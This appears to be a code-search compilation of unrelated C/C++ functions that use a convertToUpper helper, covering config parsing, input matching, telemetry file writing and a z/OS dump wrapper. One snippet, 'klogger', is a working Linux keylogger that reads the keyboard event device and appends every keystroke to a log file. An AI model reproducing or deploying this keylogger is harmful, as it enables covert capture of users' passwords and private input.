QString InputMatcher::findBest(int set, int maxset, bool isDigit, const QString &str) const { // only return if error values given. if (!qualifiedSets) return QString(); if (set == maxset) return str; else if (set >maxset) return QString(); // add word as spelt. const InputMatcherGuessList *gl = nsets[set]; InputMatcherGuessList::const_iterator it = gl->begin(); QList<int> avoidLength; avoidLength.append(0); while(it != gl->end()) { IMIGuess guess = *it; QChar ch(guess.c); if (gl->shift) ch = convertToUpper(ch); if (!avoidLength.contains(guess.length) && ch.isDigit() == isDigit) { QString r = findBest(set+guess.length, maxset, isDigit, str+ch); if (!r.isEmpty()) return r; avoidLength.append(guess.length); } ++it; } return QString(); }
bool ConfigManagerUnix::createRecord(const char* strKey, const char* value) { Record r(strKey,value); convertToUpper(r.mKey); recordList.push_back(r); return save(); }
bool ConfigManagerUnix::load() { std::string s; // Holds the current line from the config file std::ifstream inFile (mFileName.c_str()); // Create an input filestream if (!inFile.is_open()) return false; // If the input file doesn't open, then return recordList.clear(); // Clear the content vector while(!std::getline(inFile, s).eof()) // Read until the end of the file { trim(s); // Trim whitespace from the ends if(!s.empty()) // Make sure its not a blank line { Record r; // Define a new record if(s.find('=')!=std::string::npos) // Is this line a Key/Value? { r.mKey = s.substr(0,s.find('=')); // Set the Key value to everything before the = sign r.mValue = s.substr(s.find('=')+1); // Set the Value to everything after the = sign convertToUpper(r.mKey); } recordList.push_back(r); // Add the record to content } } inFile.close(); // Close the file return true; }
/** searches an array of strings for the existance of one particular string,not case sensititve * @param arr The array of strings to search * @param count Number of elements in the array * @param key The string to search the array for * @return The insex of the sting in the array or -1 if the string wasn't found * @author Steven Kordell */ int searchArrayForString(char* arr[], int count, char* key) { int n; char* elementUp; char* keyUp; for(n = 0; n < count; n++) { elementUp = convertToUpper(arr[n]); keyUp = convertToUpper(key); if (!strcmp(elementUp,keyUp)) { free(elementUp); free(keyUp); return n; } free(elementUp); free(keyUp); } return -1; }
bool ConfigManagerUnix::recordExists(const char* keyName) { std::string str = keyName; convertToUpper(str); std::vector<Record>::iterator iter = std::find_if(recordList.begin(), recordList.end(), RecordKeyIs(str)); // Locate the Section/Key if (iter == recordList.end()) return false; // The Section/Key was not found return true; // The Section/Key was found }
bool ConfigManagerUnix::setValue(std::string keyName, std::string value) { convertToUpper(keyName); std::vector<Record>::iterator iter = std::find_if(recordList.begin(), recordList.end(), RecordKeyIs(keyName)); // Locate the Record if (iter == recordList.end()) return false; // The Record was not found (*iter).mValue = value; return save(); }
bool ConfigManagerUnix::deleteRecord(const char* keyName) { std::string str = keyName; convertToUpper(str); std::vector<Record>::iterator iter = std::find_if(recordList.begin(), recordList.end(), RecordKeyIs(str)); // Locate the Section/Key if (iter == recordList.end()) return false; // The Section/Key was not found recordList.erase(iter); // Remove the Record return save(); // Save }
InputMatcherWordErrorList InputMatcher::findWords(const QDawg::Node* node, int set, int maxset, const QString& str, uint error, bool allowprefix, bool predict) const { if ( !node || (set >= maxset && !predict) ) return InputMatcherWordErrorList(); InputMatcherWordErrorList r; const InputMatcherGuessList *g = 0; if ( set < maxset ) { g = nsets[set]; // no letters to follow, don't try and make word, invalid path. if (g->count() == 0) { return InputMatcherWordErrorList(); } } while (node) { QChar ch = node->letter(); IMIGuess guess; if (g && g->contains(ch)) { guess = g->find(ch); } else { guess.length = 0; guess.c = 0xffff; guess.error = UINT_MAX; } if ( (predict && (g == 0 || g->isEmpty())) || guess.length != 0) { if (g && g->shift) ch = convertToUpper(ch); if ( set >= maxset-(guess.length > 0 ? guess.length : 1) ) { InputMatcherWordError we; we.text = str+ch; we.error = error; if (guess.error != UINT_MAX) we.error += guess.error; if ( node->isWord() || allowprefix ) r.append(we); } // is >> 10 so can up 2^10 = 1024 char words. if (guess.length) { r += findWords(node->jump(), set+guess.length, maxset, str+ch, error+(guess.error >> 10), allowprefix, predict); } else if (predict) { r += findWords(node->jump(), set+1, maxset, str+ch, error, allowprefix, predict); } }
/** Finds the index of the first filename in the parameter list * @param argv The array of parameters * @param argc The number of elelements in the array * @return The index of the first file or -1 if no file names were entered * @author Steven Kordell */ int findFirstFile(char* argv[], int argc) { int paramIndex; char* upperArg; for (paramIndex = 1; paramIndex < argc; paramIndex++) { upperArg = convertToUpper(argv[paramIndex]); if (strcmp(upperArg,"-C") && strcmp(upperArg,"-B")) { free(upperArg); return paramIndex; } else { free(upperArg); paramIndex++; } } return -1; //no file names entered }
/** Counts the number of input files to copy * @param argv The array of incoming parameters * @param argc The number of incoming parameters * @return The number of filename to copy * @author Steven Kordell */ int countInputFiles(char* argv[], int argc) { int fileCount = 0; int i; char* upperArg; for (i = 1; i < argc; i++) { upperArg = convertToUpper(argv[i]); if (strcmp(upperArg,"-C") && strcmp(upperArg,"-B")) { free(upperArg); fileCount++; } else { free(upperArg); i++; } } return --fileCount; }
/**@fn date * @brief checks the entered string for Date. * @param value - string to be validated * @return valid - true if value is valid,false if the value is invalid. */ bool Validator::date(std::string date) { if( date.empty() ) return false; std::string months = "JAN,FEB,MAR,APR,MAY,JUN,JUL,AUG,SEP,OCT,NOV,DEC"; std::string day, month, year; int len = date.length() ; ///The primary check..Whether the date is in correct format if(11!=len) return false; ///The month part of std::string is converted to uppercase.. // char* tempDate = new char[ len + 1]; // strcpy( tempDate, date.c_str() ); // strupr( tempDate); date = convertToUpper(date); // delete[] tempDate; // Extract the year out of the string year=date.substr(7,4); int y = atoi( year.c_str() ); //The string year takes the value of the year part of the string date if(y<1900||y>2050) return false; ///The string day takes the value of the day part of the string date day=date.substr(0,2); int d = atoi( day.c_str() ); if( d < 1 || d > 31) return false; ///The string month takes the value of the month part of the string date month=date.substr(3,3); int index = months.find(month); if(index < 0) return false; return true; }
bool ConfigManagerUnix::getRecord(const char* keyName, Record& data) { std::string str = keyName; convertToUpper(str); std::vector<Record>::iterator iter = std::find_if(recordList.begin(), recordList.end(), RecordKeyIs(str)); // Locate the Record if (iter == recordList.end()) { data.mKey = ""; data.mValue = ""; return false; // The Record was not found } data.mKey = (*iter).mKey; // The Record was found data.mValue = (*iter).mValue; return true; // Return the Record }
QStringList InputMatcher::findAll(int set, int maxset, const QString& str) const { if ( set == maxset ) { // fits in asked for set return QStringList(str); } else if (set > maxset ) { // does not fit in asked for set return QStringList(); } QStringList r; const InputMatcherGuessList *g = nsets[set]; InputMatcherGuessList::const_iterator it = g->begin(); while(it != g->end()) { IMIGuess guess = *it; QChar c(guess.c); if (g->shift) c = convertToUpper(c); r += findAll(set+guess.length, maxset, str+c); ++it; } return r; }
int main(int argc, char *argv[]) { char dirfilename[1024]; int i_ch; char fieldlist[255][255]; DIRFILE *df_out; int fp_lnc; int n_read = 0; struct fifoStruct fs; int i_frame = 0; uint8_t c_in; int16_t s_in; uint16_t u_in; int32_t S_in; uint32_t U_in; double x_in; time_t t; fs.i_in = fs.i_out = 0; if (argc!=2) Usage(); if (argv[1][0]=='-') Usage(); strncpy(hostname, argv[1], 250); sprintf(dirfilename, "%s/%lu.l", RAWDIR, time(NULL)); df_out = gd_open(dirfilename, GD_RDWR | GD_UNENCODED | GD_CREAT | GD_TRUNC); /* add fields to dirfile */ for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) { convertToUpper(slowDLList[i_ch].name, fieldlist[i_ch]); if (slowDLList[i_ch].encode == SDL_SCALE) { gd_add_raw(df_out, fieldlist[i_ch], GD_FLOAT64, 1, 0); } else { switch (slowDLList[i_ch].type) { case 'c': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT8, 1, 0); break; case 's': gd_add_raw(df_out, fieldlist[i_ch], GD_INT16, 1, 0); break; case 'u': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT16, 1, 0); break; case 'S': gd_add_raw(df_out, fieldlist[i_ch], GD_INT32, 1, 0); break; case 'U': gd_add_raw(df_out, fieldlist[i_ch], GD_UINT32, 1, 0); break; default: break; // shouldn't be possible } } } gd_flush(df_out, NULL); unlink(LNKFILE); if (symlink(dirfilename, LNKFILE)<0) { fprintf(stderr, "could not create link from `%s' to `%s'", dirfilename, LNKFILE); exit(0); } strncpy(hostname, argv[1], 250); fp_lnc = party_connect(hostname, PORT); while (1) { do { if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } peek(&fs, (char *)&U_in, 4); advance(&fs, 1); } while (U_in != SLOWDLSYNCWORD); advance(&fs, 4-1); for (i_ch =0; slowDLList[i_ch].name[0] != '\0'; i_ch++) { // read the word switch (slowDLList[i_ch].type) { case 'c': if (nFifo(&fs)<1) { n_read += BlockingRead(1, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&c_in, 1); break; case 's': if (nFifo(&fs)<2) { n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&s_in, 2); break; case 'u': if (nFifo(&fs)<2) { n_read += BlockingRead(2, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&u_in, 2); break; case 'S': if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&S_in, 4); break; case 'U': if (nFifo(&fs)<4) { n_read += BlockingRead(4, &fs, fp_lnc, hostname, PORT); } pop(&fs, (char *)&U_in, 4); break; default: break; } // write the word if (slowDLList[i_ch].encode == SDL_SCALE) { switch (slowDLList[i_ch].type) { case 'c': x_in = (double)c_in / (double)0xff; break; case 'u': x_in = (double)u_in / (double)0xffff; break; case 'U': x_in = (double)U_in / (double)0xffff; break; default: // not allowed break; } x_in = slowDLList[i_ch].min + x_in * (slowDLList[i_ch].max - slowDLList[i_ch].min); gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_FLOAT64, &x_in); } else { switch (slowDLList[i_ch].type) { case 'c': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT8, &c_in); break; case 's': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT16, &s_in); break; case 'u': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT16, &u_in); break; case 'S': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_INT32, &S_in); break; case 'U': gd_putdata(df_out, fieldlist[i_ch], i_frame, 0, 1, 0, GD_UINT32, &U_in); break; default: // shouldn't happen break; } } } // next i_ch; t = time(NULL); printf("%s: frame %4d - %s", argv[0], i_frame, ctime(&t)); i_frame++; } return 0; }
//********************************************************* // Make the format file //********************************************************* void MakeFormatFile(char *filedirname) { char formatfilename[1024]; FILE *formatfile; int i_field; int i_derived; char fieldU[1024]; /* Make format File */ sprintf(formatfilename, "%s/format", filedirname); formatfile = fopen(formatfilename, "w"); if (formatfile == NULL) { fprintf(stderr,"Could not open format file %s", formatfilename); exit(0); } for (i_field = 0; i_field < n_framefields; i_field++) { // if the frame field already appears in the stream list // then we won't add it to the format file, and we will // set the file pointer to point to /dev/null in // OpenDirfilePointers. framefieldUnique[i_field] = FrameFieldIsUnique(frameList[i_field]); if (framefieldUnique[i_field]) { convertToUpper( framefields[i_field]->field, fieldU); fprintf(formatfile, "%-16s RAW %c 1\n", framefields[i_field]->field, framefields[i_field]->type); fprintf(formatfile, "%-16s LINCOM 1 %16s %.12e %.12e 1\n", fieldU, framefields[i_field]->field, framefields[i_field]->m_c2e, framefields[i_field]->b_e2e); if (framefields[i_field]->quantity[0]!='\0') { fprintf(formatfile, "%s/quantity STRING %s\n",fieldU, framefields[i_field]->quantity); } if (framefields[i_field]->units[0]!='\0') { fprintf(formatfile, "%s/units STRING %s\n",fieldU, framefields[i_field]->units); } } } #ifdef __SPIDER__ for (i_field = 0; i_field < NUM_ARRAY_STAT; i_field++) { fprintf(formatfile, "%16s RAW c 1\n", GetArrayFieldName(i_field)); } #endif for (i_field = 0; i_field < n_streamfields; i_field++) { convertToUpper( streamfields[i_field]->field, fieldU); fprintf(formatfile, "%-16s RAW %c %d\n", streamfields[i_field]->field, streamfields[i_field]->type, streamList[channelset_oth][i_field].samples_per_frame); fprintf(formatfile, "%-16s LINCOM 1 %16s %.12e %.12e 1\n", fieldU, streamfields[i_field]->field, streamfields[i_field]->m_c2e, streamfields[i_field]->b_e2e); if (streamfields[i_field]->quantity[0]!='\0') { fprintf(formatfile, "%s/quantity STRING %s\n",fieldU, streamfields[i_field]->quantity); } if (streamfields[i_field]->units[0]!='\0') { fprintf(formatfile, "%s/units STRING %s\n",fieldU, streamfields[i_field]->units); } } fprintf(formatfile, "/REFERENCE %s\n", streamfields[n_streamfields-1]->field); // the Time field //fprintf(formatfile, "Time RAW d 1\n/REFERENCE Time\n"); // Derived channels for (i_derived = 0; DerivedChannels[i_derived].comment.type != DERIVED_EOC_MARKER; ++i_derived) { switch (DerivedChannels[i_derived].comment.type) { case 'b': /* bitfield */ if (FieldSupported(DerivedChannels[i_derived].bitfield.source)) { int j; // write bitfield fprintf(formatfile, "\n# %s BITFIELD:\n", DerivedChannels[i_derived].bitfield.source); for (j = 0; j < 16; ++j) { if (DerivedChannels[i_derived].bitfield.field[j][0]!='\0') { fprintf(formatfile, "%-16s BIT %-16s %i\n", DerivedChannels[i_derived].bitfield.field[j], DerivedChannels[i_derived].bitfield.source, j); } } } break; case '2': /* lincom2 */ if (FieldExists(DerivedChannels[i_derived].lincom2.field)) { continue; } if (FieldSupported(DerivedChannels[i_derived].lincom2.source)) { if (FieldSupported(DerivedChannels[i_derived].lincom2.source2)) { // write lincom2 fprintf(formatfile, "%-16s LINCOM 2 %-16s %.12e %.12e %-16s %.12e %.12e\n", DerivedChannels[i_derived].lincom2.field, DerivedChannels[i_derived].lincom2.source, DerivedChannels[i_derived].lincom2.m_c2e, DerivedChannels[i_derived].lincom2.b_e2e, DerivedChannels[i_derived].lincom2.source2, DerivedChannels[i_derived].lincom2.m2_c2e, DerivedChannels[i_derived].lincom2.b2_e2e); } } break; case 'w': /* bitword */ if (FieldSupported(DerivedChannels[i_derived].bitword.source)) { // write bitword fprintf(formatfile, "%-16s BIT %-16s %i %i\n", DerivedChannels[i_derived].bitword.field, DerivedChannels[i_derived].bitword.source, DerivedChannels[i_derived].bitword.offset, DerivedChannels[i_derived].bitword.length); } break; case 't': /* linterp */ if (FieldSupported(DerivedChannels[i_derived].linterp.source)) { // write linterp fprintf(formatfile, "%-16s LINTERP %-16s %s\n", DerivedChannels[i_derived].linterp.field, DerivedChannels[i_derived].linterp.source, DerivedChannels[i_derived].linterp.lut); } break; case 'p': /* phase */ if (FieldSupported(DerivedChannels[i_derived].phase.source)) { // write phase fprintf(formatfile, "%-16s PHASE %-16s %i\n", DerivedChannels[i_derived].phase.field, DerivedChannels[i_derived].phase.source, DerivedChannels[i_derived].phase.shift); } break; case 'c': /* lincom */ if (FieldExists(DerivedChannels[i_derived].lincom.field)) { continue; } if (FieldSupported(DerivedChannels[i_derived].lincom.source)) { // write lincom fprintf(formatfile, "%-16s LINCOM 1 %-16s %.12e %.12e\n", DerivedChannels[i_derived].lincom.field, DerivedChannels[i_derived].lincom.source, DerivedChannels[i_derived].lincom.m_c2e, DerivedChannels[i_derived].lincom.b_e2e); } break; case '#': /* comment -- do nothing */ break; case 'u': /* Units metadata */ if (FieldSupported(DerivedChannels[i_derived].units.source)) { // write units fprintf(formatfile, "%s/units STRING %s\n%s/quantity STRING %s\n", DerivedChannels[i_derived].units.source, DerivedChannels[i_derived].units.units, DerivedChannels[i_derived].units.source, DerivedChannels[i_derived].units.quantity); } break; default: // unrecognized -- do nothing break; } } /* Hack for a few important derived of derived fields: BLAST10 and probably BLAST12 */ /* fprintf(formatfile, "DR_INFO_IO_RW LINCOM 2 DR_INFO_OPEN_RW 1.000000000000e+00 0.000000000000e+00 DR_INFO_INIT_1_RW 2.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "DR_INFO_IO_EL LINCOM 2 DR_INFO_OPEN_EL 1.000000000000e+00 0.000000000000e+00 DR_INFO_INIT_1_EL 2.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "DR_INFO_IO_PIV LINCOM 2 DR_INFO_OPEN_PIV 1.000000000000e+00 0.000000000000e+00 DR_INFO_INIT_1_PIV 2.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "DR_INFO_RIO_EL LINCOM 2 DR_INFO_RESET_EL 4.000000000000e+00 0.000000000000e+00 DR_INFO_IO_EL 1.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "DR_INFO_RIO_PIV LINCOM 2 DR_INFO_RESET_PIV 4.000000000000e+00 0.000000000000e+00 DR_INFO_IO_PIV 1.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "DR_INFO_RIO_RW LINCOM 2 DR_INFO_RESET_RW 4.000000000000e+00 0.000000000000e+00 DR_INFO_IO_RW 1.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "POT_STATE LINCOM 2 POT_IS_CLOSED 2.000000000000e+00 0.000000000000e+00 POT_IS_OPEN 1.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "LHE_STATE LINCOM 2 LHE_IS_CLOSED 2.000000000000e+00 0.000000000000e+00 LHE_IS_OPEN 1.000000000000e+00 0.000000000000e+00\n"); fprintf(formatfile, "LN_STATE LINCOM 2 LN_IS_CLOSED 2.000000000000e+00 0.000000000000e+00 LN_IS_OPEN 1.000000000000e+00 0.000000000000e+00\n"); */ fclose(formatfile); }
int main(){ struct LoggerMetaData loggerMetaData; std::ifstream configFileHandler; configFileHandler.open(loggerMetaData.pathToConfig, std::ifstream::in); if(!configFileHandler){ //If the logger was not able to open the config-file without any error, then the application uses the initialized meta information if(DEBUG){ fprintf(stderr, "<klogger>: Was not able to open the configuration file"); } }else{ setLoggerOptions(&loggerMetaData, configFileHandler); configFileHandler.close(); } int keyboardEventHook = open(loggerMetaData.keyboardHookPath.c_str(), O_RDONLY); if(keyboardEventHook == -1){ if(DEBUG){ fprintf(stderr, "<klogger>: Was not able to open KeyboardHook"); } exit(EXIT_FAILURE); } createKeyMap(); bool capsLock = false; int lastKey = 0; std::string mappedKey; while(1){ struct KeyboardEvent keyboardEvent; int readKeyboardHook = read(keyboardEventHook, &keyboardEvent, sizeof(struct KeyboardEvent)); switch(keyboardEvent.value){ case 0: //Key Released if(keymap[keyboardEvent.code].find("SHIFT") != std::string::npos) capsLock = !capsLock; break; case 1: //Key Press { std::ofstream logFile; logFile.open(loggerMetaData.pathToOutput, std::ios::app); mappedKey = keymap[keyboardEvent.code]; if(mappedKey.find("[CAPS LOCK]") != std::string::npos || mappedKey.find("SHIFT") != std::string::npos) capsLock = !capsLock; else{ if(mappedKey.find("[") == std::string::npos){ if(capsLock){ mappedKey = convertToUpper(mappedKey); }else{ mappedKey = convertToLower(mappedKey); } } logFile << mappedKey; logFile.flush(); logFile.close(); } break; } default: continue; break; } } return 0; }
uintptr_t tdump_wrapper(struct OMRPortLibrary *portLibrary, char *filename, char *dsnName) { uintptr_t retVal = 0; BOOLEAN filenameSpecified = TRUE; uint32_t returnCode; uint32_t reasonCode; intptr_t err; if (NULL == filename) { return 1; } /* Use default dataset name */ if (filename[0] == '\0') { char *loginID = NULL; #define USERNAME_STACK_BUFFER_SIZE 128 char userNameStack[USERNAME_STACK_BUFFER_SIZE]; time_t now = time(NULL); struct passwd *userDescription = NULL; intptr_t result = -1; #define J9_MAX_JOBNAME 16 char jobname[J9_MAX_JOBNAME]; uintptr_t fileNamePrefixLength; result = portLibrary->sysinfo_get_username(portLibrary, userNameStack, USERNAME_STACK_BUFFER_SIZE); if (-1 == result) { /* we tried to get the username, but failed, use ANON instead */ portLibrary->str_printf(portLibrary, userNameStack, USERNAME_STACK_BUFFER_SIZE, "%s", "ANON"); } /* fetch the current jobname */ if (jobname) { omrget_jobname(portLibrary, jobname, J9_MAX_JOBNAME); } #if defined(J9ZOS39064) /* Remove 'TDUMP' to alleviate the 44 chars constraint on dataset names */ portLibrary->str_printf(portLibrary, filename, EsMaxPath, "%s.JVM.%s.", userNameStack, jobname); #else /* 31 bits */ portLibrary->str_printf(portLibrary, filename, EsMaxPath, "%s.JVM.TDUMP.%s.", userNameStack, jobname); #endif fileNamePrefixLength = strlen(filename); /* Tack on current timestamp */ strftime(filename + fileNamePrefixLength, EsMaxPath - fileNamePrefixLength, "D%y%m%d.T%H" "%M" "%S", localtime(&now)); /* Set filenameSpecified = FALSE as we're now using the default template */ filenameSpecified = FALSE; #undef USERNAME_STACK_BUFFER_SIZE } #if defined(J9ZOS39064) /* Appending X&DS token if the TDUMP dataset pattern does not have it already. * &DS token is introduced in zOS V1R10. It is backported to R7, R8 and R9. * OA24232 shipped the solution to earlier releases - PTF List: * Release 720 : UA43245 available 08/09/17 (F809) (R7) * Release 730 : UA43246 available 08/09/17 (F809) (R8) * Release 740 : UA43247 available 08/09/17 (F809) (R9) * Release 750 : UA43248 available 08/09/17 (F809) (R10) * zOS machines without these PTF will fail to generate TDUMP due to invalid dataset * name (unable to interpret &DS token). */ if (filenameSpecified) { /* append X&DS to the user specified pattern if needed */ if (strstr(filename, "&DS") == NULL) { /* may need to terminate a trailing zOS token here */ char *token = strrchr(filename, '&'); if (token && strstr(token, ".") == NULL) { strcat(filename, "..X&DS"); } else { strcat(filename, ".X&DS"); } portLibrary->nls_printf(portLibrary, J9NLS_INFO | J9NLS_STDERR, J9NLS_PORT_ZOS_64_APPENDING_XDS); } } else { /* append X&DS to the default dump pattern */ strcat(filename, ".X&DS"); } #endif /* the filename must be entirely uppercase for IEATDUMP requests */ convertToUpper(portLibrary, filename, strlen(filename)); /* Convert filename into EBCDIC... */ dsnName = a2e_func(filename, strlen(filename) + 1); err = tdump(portLibrary, filename, dsnName, &returnCode, &reasonCode); free(dsnName); if (0 == err) { retVal = returnCode; /* We have a couple of conditions we can work around */ if (0x8 == returnCode && 0x22 == reasonCode) { /* Name was too long */ if (filenameSpecified) { portLibrary->nls_printf(portLibrary, J9NLS_WARNING | J9NLS_STDERR, J9NLS_PORT_IEATDUMP_NAME_TOO_LONG); filename[0] = '\0'; /* Convert filename into EBCDIC... */ dsnName = a2e_func(filename, strlen(filename) + 1); retVal = tdump_wrapper(portLibrary, filename, dsnName); free(dsnName); } } else if (0x8 == returnCode && 0x26 == reasonCode) { /* Couldn't allocate data set (disk full) */ portLibrary->nls_printf(portLibrary, J9NLS_ERROR | J9NLS_STDERR, J9NLS_PORT_IEATDUMP_DISK_FULL); } } else { /* If err is non-zero, we didn't call TDUMP because of an internal error*/ retVal = err; } return retVal; }